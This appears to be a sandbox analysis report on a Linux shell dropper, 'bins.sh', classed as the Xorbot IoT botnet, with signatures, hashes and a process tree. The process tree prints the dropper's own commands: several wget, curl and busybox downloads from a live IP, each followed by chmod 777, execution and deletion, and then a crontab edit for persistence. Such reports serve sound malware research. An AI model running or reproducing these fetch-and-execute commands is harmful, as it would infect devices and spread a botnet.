Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    145s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    07/01/2025, 22:32

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250107-2fx23s1raz
  • SHA256 00691cae9d85abb860400b0a3d90507a2dbaa240de2bd273ebce63620c15000a
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Contacts a large (1920) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:702
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:706
        • /usr/bin/wget
          wget http://66.63.187.225/bins/ClDrx62oPS4XUnGI7OM2sPfOIuj2f91Mlq
          2⤵
          • Writes file to tmp directory
          PID:712
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/ClDrx62oPS4XUnGI7OM2sPfOIuj2f91Mlq
          2⤵
          • Writes file to tmp directory
          PID:729
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/ClDrx62oPS4XUnGI7OM2sPfOIuj2f91Mlq
          2⤵
          • Writes file to tmp directory
          PID:733
        • /bin/chmod
          chmod 777 ClDrx62oPS4XUnGI7OM2sPfOIuj2f91Mlq
          2⤵
          • File and Directory Permissions Modification
          PID:734
        • /tmp/ClDrx62oPS4XUnGI7OM2sPfOIuj2f91Mlq
          ./ClDrx62oPS4XUnGI7OM2sPfOIuj2f91Mlq
          2⤵
          • Executes dropped EXE
          PID:735
        • /bin/rm
          rm ClDrx62oPS4XUnGI7OM2sPfOIuj2f91Mlq
          2⤵
            PID:737
          • /usr/bin/wget
            wget http://66.63.187.225/bins/3hN6nkO9y9MHBoqZHAkQs99EjCtjGydsgM
            2⤵
            • Writes file to tmp directory
            PID:738
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/3hN6nkO9y9MHBoqZHAkQs99EjCtjGydsgM
            2⤵
            • Writes file to tmp directory
            PID:739
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/3hN6nkO9y9MHBoqZHAkQs99EjCtjGydsgM
            2⤵
            • Writes file to tmp directory
            PID:744
          • /bin/chmod
            chmod 777 3hN6nkO9y9MHBoqZHAkQs99EjCtjGydsgM
            2⤵
            • File and Directory Permissions Modification
            PID:751
          • /tmp/3hN6nkO9y9MHBoqZHAkQs99EjCtjGydsgM
            ./3hN6nkO9y9MHBoqZHAkQs99EjCtjGydsgM
            2⤵
            • Executes dropped EXE
            PID:752
          • /bin/rm
            rm 3hN6nkO9y9MHBoqZHAkQs99EjCtjGydsgM
            2⤵
              PID:756
            • /usr/bin/wget
              wget http://66.63.187.225/bins/ErlOos0yAUlz2Ho5KyHEU9wZFJ1lL6PLfX
              2⤵
              • Writes file to tmp directory
              PID:757
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/ErlOos0yAUlz2Ho5KyHEU9wZFJ1lL6PLfX
              2⤵
              • Writes file to tmp directory
              PID:773
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/ErlOos0yAUlz2Ho5KyHEU9wZFJ1lL6PLfX
              2⤵
              • Writes file to tmp directory
              PID:792
            • /bin/chmod
              chmod 777 ErlOos0yAUlz2Ho5KyHEU9wZFJ1lL6PLfX
              2⤵
              • File and Directory Permissions Modification
              PID:793
            • /tmp/ErlOos0yAUlz2Ho5KyHEU9wZFJ1lL6PLfX
              ./ErlOos0yAUlz2Ho5KyHEU9wZFJ1lL6PLfX
              2⤵
              • Executes dropped EXE
              PID:794
            • /bin/rm
              rm ErlOos0yAUlz2Ho5KyHEU9wZFJ1lL6PLfX
              2⤵
                PID:796
              • /usr/bin/wget
                wget http://66.63.187.225/bins/s7zLZegP5d1SVQ851UGgI7sKT0EYgD0PmT
                2⤵
                • Writes file to tmp directory
                PID:797
              • /usr/bin/curl
                curl -O http://66.63.187.225/bins/s7zLZegP5d1SVQ851UGgI7sKT0EYgD0PmT
                2⤵
                • Writes file to tmp directory
                PID:798
              • /bin/busybox
                /bin/busybox wget http://66.63.187.225/bins/s7zLZegP5d1SVQ851UGgI7sKT0EYgD0PmT
                2⤵
                • Writes file to tmp directory
                PID:807
              • /bin/chmod
                chmod 777 s7zLZegP5d1SVQ851UGgI7sKT0EYgD0PmT
                2⤵
                • File and Directory Permissions Modification
                PID:816
              • /tmp/s7zLZegP5d1SVQ851UGgI7sKT0EYgD0PmT
                ./s7zLZegP5d1SVQ851UGgI7sKT0EYgD0PmT
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:817
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:819
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:821
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:823
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          • Reads runtime system information
                          PID:824
                    • /bin/rm
                      rm s7zLZegP5d1SVQ851UGgI7sKT0EYgD0PmT
                      2⤵
                        PID:837
                      • /usr/bin/wget
                        wget http://66.63.187.225/bins/apRpDFFIqbaw82yryuRf4GHHxrX0nu2dnr
                        2⤵
                          PID:841
                        • /usr/bin/curl
                          curl -O http://66.63.187.225/bins/apRpDFFIqbaw82yryuRf4GHHxrX0nu2dnr
                          2⤵
                            PID:842
                          • /bin/busybox
                            /bin/busybox wget http://66.63.187.225/bins/apRpDFFIqbaw82yryuRf4GHHxrX0nu2dnr
                            2⤵
                            • Writes file to tmp directory
                            PID:923
                          • /bin/chmod
                            chmod 777 apRpDFFIqbaw82yryuRf4GHHxrX0nu2dnr
                            2⤵
                            • File and Directory Permissions Modification
                            PID:928
                          • /tmp/apRpDFFIqbaw82yryuRf4GHHxrX0nu2dnr
                            ./apRpDFFIqbaw82yryuRf4GHHxrX0nu2dnr
                            2⤵
                            • Executes dropped EXE
                            PID:929
                          • /bin/rm
                            rm apRpDFFIqbaw82yryuRf4GHHxrX0nu2dnr
                            2⤵
                              PID:931
                            • /usr/bin/wget
                              wget http://66.63.187.225/bins/EZaA3Us3LjYwvt6G8y9pyNoUd8IXXG5NmF
                              2⤵
                                PID:932

                            Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  3hN6nkO9y9MHBoqZHAkQs99EjCtjGydsgM
                                  • Path /tmp/3hN6nkO9y9MHBoqZHAkQs99EjCtjGydsgM
                                  • Size 98KB
                                  • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  ClDrx62oPS4XUnGI7OM2sPfOIuj2f91Mlq
                                  • Path /tmp/ClDrx62oPS4XUnGI7OM2sPfOIuj2f91Mlq
                                  • Size 99KB
                                  • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  ErlOos0yAUlz2Ho5KyHEU9wZFJ1lL6PLfX
                                  • Path /tmp/ErlOos0yAUlz2Ho5KyHEU9wZFJ1lL6PLfX
                                  • Size 177KB
                                  • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  apRpDFFIqbaw82yryuRf4GHHxrX0nu2dnr
                                  • Path /tmp/apRpDFFIqbaw82yryuRf4GHHxrX0nu2dnr
                                  • Size 111KB
                                  • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  s7zLZegP5d1SVQ851UGgI7sKT0EYgD0PmT
                                  • Path /tmp/s7zLZegP5d1SVQ851UGgI7sKT0EYgD0PmT
                                  • Size 151KB
                                  • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  tmp.opO23o
                                  • Path /var/spool/cron/crontabs/tmp.opO23o
                                  • Size 210B
                                  • SHA256 1a32f770cb46b1591b3bb819c737946a5019deda7e652b258fda792e53ef6b3b
                                  • MD5 SHA1 SHA512
                                  Submit Download